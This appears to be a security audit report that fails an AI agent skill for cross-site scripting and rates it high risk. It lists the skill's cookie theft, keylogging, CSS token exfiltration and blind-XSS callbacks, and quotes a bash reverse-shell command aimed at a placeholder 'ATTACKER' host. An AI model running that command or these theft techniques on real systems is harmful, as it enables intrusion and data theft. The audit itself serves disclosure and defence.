xss-cross-site-scripting

Fail

Audited by Gen Agent Trust Hub on Jul 21, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides functional payloads for establishing remote access. In SKILL.md, it includes a PHP-based reverse shell command: bash -i >& /dev/tcp/ATTACKER/4444 0>&1.
  • [COMMAND_EXECUTION]: Instructions are provided for executing arbitrary shell commands through vulnerable web applications, such as using backticks in PHP or exploiting WordPress plugin editors.
  • [DATA_EXFILTRATION]: The skill documents numerous methods for stealing sensitive information, including: * JavaScript-based cookie theft using fetch() and document.cookie. * Keylogging via JavaScript event listeners. * CSS injection for exfiltrating CSRF tokens and text content via attribute selectors and font-face side channels. * Blind XSS methodology using remote callback collectors.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Jul 21, 2026, 01:24 PM
Security Audit — agent-trust-hub — xss-cross-site-scripting